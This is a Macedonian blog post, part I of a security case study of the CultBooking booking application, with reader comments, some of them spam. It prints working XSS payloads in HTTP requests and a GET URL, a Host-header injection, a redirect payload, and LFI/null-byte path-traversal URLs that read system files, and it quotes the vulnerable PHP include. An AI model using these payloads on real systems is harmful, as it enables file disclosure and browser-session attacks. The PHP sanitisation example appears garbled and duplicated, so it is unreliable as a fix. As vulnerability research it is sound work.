Информациско безбедносна проценка на веб апликации (изучување на случај, дел I)

(Објавен е и вториот дел од истражувањето. Ќе го најдете тука)

Во тој контекст решив да напишам едно изучување и анализа на веб апликации од безбедносна гледна точка и како всушност изгледа едно безбедносно истражување на веб апликации и нивна закрпа.

Избрав две веб апликации (PHP): CultBooking, развиена од германската компанија Cultuzz Digital Media и претставува систем за резервации (хотели, карти и сл.) и Eventum, развиена од тимот на MySQL (Oracle Corporation) која претставува систем за следење на багови, организација на задачи и слично. Во овие две апликации ќе посочам на некои ранливости и нивни експлоатациски сценарија.



Пред да започне истражувањето првин ги преземам најновите верзии на горенаведените апликации од нивните официјални веб страни и ја поставувам околината за тестирање со сите потребни модули.
Во моментот на ова пишување, најновите верзии се:

  1. CultBooking 2.0.4http://sourceforge.net/projects/cultbooking [3.454 KB]
  2. Eventum 2.3https://launchpad.net/eventum [3.080 KB]

За овој вид на тестирање (in-house), околината содржи:

1. Запознавање со целта

Запознавање со целта е важен чекор во секоја истражувачка дејност. За да го разбереме она што сакаме да го тестираме, првин треба ги научиме методите и функционалноста на апликацијата. За што служи, која е примарната цел на истата, како се справува со податоци, преглед на интерфејсот и запознавање со додатните модули како и читање на прирачникот, разгледување и ревизија на изворниот код и хиерархијата, точки на корисничко внесување, протоколи, дали користи авторизација и автентикација и сл. Треба целосно да го запознаеме работниот тек (workflow) на целта, како што ги знаеме нашите омилени апликации кои што ги користиме секојдневно, за да се дојде до успешни резултати од анализата.

Нема да пишувам ревизија за апликациите и нивните плусеви и минуси. Откако го запознав системот на работа кај апликациите, продолжувам со следниот чекор.

2. Креирање на листа од безбедносни тест алатки

“Man is a tool-using animal. Without tools he is nothing, with tools he is all.” – Thomas Carlyle

Нема да објаснувам како се користат алатките, туку само ќе набројам неколку бесплатни и корисни безбедносни алатки кои ги користев во ова сценарио:

3. Истражување и анализа

3.1 CultBooking

Откако ја измапирав целата структура на апликацијата почнав со скенирање од ранливости со горенаведените алатки како и разгледување на самиот код со едноставно читање. Пронајдов неколку ранливости од типот Cross-Site Scripting од различни концепти, Local File Inclusion, File Disclosure и Path Disclosure ранливост.



XSS POST Injection:

– Ранливи POST параметри: bookingcode и email

------------------------- HTTP Request -------------------------
POST /cultbooking/cultbooking.php HTTP/1.1
Content-Length: 136
Content-Type: application/x-www-form-urlencoded
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.8) Gecko/2008101401 Firefox/3.1
Accept-Encoding: gzip,deflate
Keep-Alive: 50
Connection: Keep-Alive


bookingcode="><script>alert(1)</script>&email="><script>alert(1)</script>&agentsine=10492&agentdutycode=1429741cfe1700d7&lang=de&hcode=11225&action=cancelbooking
-------------------------------------------------------------------

------------------------- HTTP Respond ----------------------------
HTTP/1.1 200 OK
Date: Sun, 16 Jan 2011 16:04:25 GMT
Server: Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l mod_autoindex_color PHP/5.3.1 mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1
X-Powered-By: PHP/5.3.1
Content-Length: 5386
Keep-Alive: timeout=5, max=80
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
--------------------------------------------------------------------

HTML Injection преку Header Attack:

– Ранлива променлива: Host

--------------------------- HTTP Request ---------------------------
POST /cultbooking/cultbooking.php HTTP/1.1
Host: "><zsl><h1>ZSL-CROSS-SCRIPT-EXECUTED"
Content-Length: 19
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.8) Gecko/2008101401 Firefox/3.1
Accept-Encoding: gzip,deflate
Keep-Alive: 50
Connection: Keep-Alive


action=cancellation
-------------------------------------------------------------------


------------------------- HTTP Respond ----------------------------
HTTP/1.1 200 OK
Date: Sun, 16 Jan 2011 16:04:58 GMT
Server: Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l mod_autoindex_color PHP/5.3.1 mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1
X-Powered-By: PHP/5.3.1
Content-Length: 5335
Keep-Alive: timeout=5, max=95
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
-------------------------------------------------------------------


XSS GET:

– Ранлив параметар: lang

-------------------------- HTTP Request ---------------------------
GET /cultbooking/cultbooking.php?lang="><script>alert(1)</script> HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.8) Gecko/2008101401 Firefox/3.1
Accept-Encoding: gzip,deflate
Keep-Alive: 50
Connection: Keep-Alive
-------------------------------------------------------------------


------------------------- HTTP Respond ----------------------------
HTTP/1.1 200 OK
Date: Sun, 16 Jan 2011 16:04:23 GMT
Server: Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l mod_autoindex_color PHP/5.3.1 mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1
X-Powered-By: PHP/5.3.1
Keep-Alive: timeout=5, max=95
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=utf-8
-------------------------------------------------------------------

Да напоменам дека има некои забрани поради magic_quotes (php.ini). Тие филтрирања можеме понекогаш да ги заобиколуваме со помош на различни техники како енкодинг, обфускација, големи и мали букви, хексадецимални карактери и т.н. Еве неколку референци:

Преусмерување:


http://127.0.0.1/cultbooking/cultbooking.php?lang="><script>document.location.href=String.fromCharCode(104, 116, 116, 112, 58, 47, 47, 122, 101, 114, 111, 115, 99, 105, 101, 110, 99, 101, 46, 109, 107);</script>

http://www.asciitable.com/
http://seclists.org/pen-test/2007/Jan/95
http://devteev.blogspot.com/2010/08/null-byte.html
http://devteev.blogspot.com/2009/08/null-byte.html
http://www.ush.it/team/ush/hack-phpfs/phpfs_mad.txt
http://www.ush.it/2009/02/08/php-filesystem-attack-vectors/
http://ptresearch.blogspot.com/2010/08/another-alternative-for-null-byte.html
http://raz0r.name/articles/null-byte-alternative/
http://www.elartedeprogramar.cl/seguridad_web/advanced_postgrest_sql_injection_and_filter_bypass_techniques_190.0.html
http://ha.ckers.org/sqlinjection/
http://ha.ckers.org/xss.html

и т.н.

Разоктривање на патеката на апликацијата (http://www.owasp.org/index.php/Full_Path_Disclosure) обично доаѓа заедно со некоја друга ранливост поради несоодветно справување со грешки. Во овој случај таа се појавува и во LFI и во XSS нападите. Едноставно на крајот на секој параметар додадете го карактерот: (%27) или било што друго освен потребното и ќе ви биде претставена целосната патека на веб директориумот на веб серверот. Пр:

http://127.0.0.1/cultbooking/cultbooking.php?lang='

Local File Inclusion / File Disclosure:

  • Ранлив параметар: lang
  • Зависно од magic_quotes_gpc=off

http://127.0.0.1/cultbooking/cultbooking.php?lang=c%3A%5C%5Cboot.ini%00
http://127.0.0.1/cultbooking/cultbooking.php?lang=../../../boot.ini%00

Ранливата функција можеме да ја погледнеме со следење на изворниот код во самата апликација:

cultbooking.php скриптата ја отворам во мојот омилен текст едитор и го разгледувам текот за вклучување на функцијата и класите за јазикот. Во cultbooking.php гледам:

require_once('Sessionlanguage/cultbooking.languageNS.languageImplSkel.class.php');

навигирам во папката Sessionlanguage и го отворам cultbooking.languageNS.languageImplSkel.class.php податокот. По детално разгледување доаѓам до скриптата: cultbooking.languageNS.languageImpl.class.php во која го има следниов код:

----------------------------------------------------------


<?php


/** implement the methods of cultbooking§languageNS§languageImplSkel.class.php. */class cultbooking§languageNS§languageImpl extends cultbooking§languageNS§languageImplSkel


{
var $incfile;
public function providetransLang()
{
return $this;
}
public function localization($incfile)
{
$this->incfile = $incfile;
}
public function translate($str)
{
include $this->incfile .".inc";
return $$str;
}

}
?>

----------------------------------------------------------

Проблемот е што нема доволно санирање на корисничкото внесување при што последици би можеле да бидат катастрофални каде што напаѓачот би можел да дојде до осетливи информации само со пропатување низ директориуми и специфицирање на податокот којшто сака да го види (пример: passwd, config.php и сл.) со нулирање на крај од секој стринг (%00). Класата cultbookingВ§languageNSВ§languageImpl е ранлива на LFI напад. Во функцијата се бара .inc податок како што и веќе се таму en.inc и de.inc но со заобиколување и завршување на крај на стрингот можеме да го видиме било кој податок кој се наоѓа во системот. Напаѓачот може да дојде до осетливи информации на заразениот систем со пропатување на директориуми или пак да извршува HTML код во корисничкиот прелистувач со помош на XSS напад.

Пример за побезбедно санирање/валидација:

<?php
$file = <?php
$file = preg_replace(‘/[^a-zA-Z0-9_]/’,”,addslashes($_GET['file']));
$readfile = readfile($file);
?>
($_GET['file']));
$readfile = readfile($file);
?>

За среќа, magic_quotes_gpc доколку ви е вклучено (=ON) ќе се заштитите од овој напад но не и од Path Disclosure. Magic Quotes конвертира некои карактери, што им отежнува на напаѓачите успешно да извршат напад, пример: %00 во , но не се препорачува користење на magic quotes за избегнување на податоци.

Споредба и закрпи:


Од сликите можете да видите како изгледа едно закрпување на веб апликација со едноставно користење на функциите за регуларни изрази, поклопување на шаблони, санирање, споредување, избегнување и нејзино зацврстување.

… Продолжува „Информациско безбедносна проценка на веб апликации (изучување на случај, дел II)“

Стани премиум член и доби пристап до сите содржини, специјален попуст на над 2.200 производи во ИТ маркет, верификуван профил и можност за огласување на ИТ Огласник. Плус ќе го поддржиш медиумот кој го градиме цели 16 години!

basic

членство

42 ден./мес

зачлени се

1337

членство

125 ден./мес

зачлени се
* плаќањето е на годишно ниво

Доколку веќе имаш премиум членство, најави се тука.

Добивај известувања
Извести ме за
guest
13 Коментари
Најнови
Најстари Со највеќе гласови
Inline Feedbacks
View all comments
Ava
Ava
10 years ago

Hey there I am so grateful I found your weblog, I really flund you by
accident, while I was researching oon Yahoo for something else,
Anyways I am here now and would just like to say thanks a lot for a tremendous post annd a
all round thrilling bblog (I apso love the theme/design), I don’t
have time to go through it alll at thhe minute
but I have blokmarked it and also added your RSS feeds, so when
I have time I will bee back to read more, Please
ddo keep up the great b.

Shane
10 years ago

Asking questions are genuinely pleasant thing if you are not understanding
anything completely, except this post gives nice understanding even.

đặt phòng khách sạn đà nẵng webtretho

Thanks to my father who shared with me regarding this weblog, this
blog is really amazing.

Louis Vuitton outlet
10 years ago

Louis Vuitton outlet was really excited when I bought it for Christmas. Absolutely satisfacion.

car insurance
12 years ago

Hey there! I’m at work surfing around your blog from my new apple iphone! Just wanted to say I love reading your blog and look forward to all your posts! Keep up the excellent work!

Ѓоко Крстиќ
Ѓоко Крстиќ
13 years ago

PCIDSS грешка ;]]]

Ѓоко Крстиќ
Ѓоко Крстиќ
13 years ago

Па добро, во овој случај напишав само дека е од аспект на in-house и не објаснував за black, white и graybox поради пристапот од кој што сум насочен. Не кажав дека пристапувам според некои методологии или стандарди (како OWASP, PCIDCC и сл.). Иако е од отворен код, не е извршена целосна статична анализа на изворниот код или пак динамична анализа на апликацијата.

Напоменав дека треба да се знае, да, но во овој случај зависно од каде ќе започнеш. Јас користам неколку пристапи во различни улоги. Барем во овој случак, малку е погенерално…

Така да, иако е од отворен код некоја апликација, blackbox или whitebox, си користам арсенал поради различните резултати или output што таа алатка ќе ми приреди. И отпосле си шеташ по кодот. Малку и автоматизирање се разбира, исто така може да влијае и времето колку ти е дадено да тестираш една апликација, live или in-house…

Благодарам, и мило ми е што ти се допаѓа листата. Во план е уште неколку статии во поглед на пенетрациско тестирање на мрежи и софтверски апликации. Тоа понатаму ….

Поздрав,
Ѓоко

Невен Пејков
Невен Пејков
13 years ago

i vo QA imash blackbox, graybox i whitebox :). Ako dobiese obfuskiran kod so ioncube togash da ajde da se ima toj pristap ama na otvoren kod se znae sto e najdobar i najbrz pristap :). btw listata na alatki e super :)

badc0re
badc0re
13 years ago

jas ne rekov deka nema no mojot komentar se odnesuvase na tvojot prethoden. ( vo koj sto direktno navede deka ne e izvrseno blackbox testiranje)

badc0re
badc0re
13 years ago

Brat ti pisuva deka e QA testiranje, ne e ova blackbox hackuvanje.

Невен Пејков
Невен Пејков
13 years ago

Немаш blackbox testing … зошто сите овие алатки кога апликацијата е со отворен код?

badc0re
badc0re
13 years ago

cool

trackback

[…] This post was mentioned on Twitter by itcommk, arangel and Zero Science Lab, Goran Mitev. Goran Mitev said: RT @itcommk: Информациско безбедносна проценка на веб апликации (изучување на случај, дел I) http://bit.ly/hMe85a […]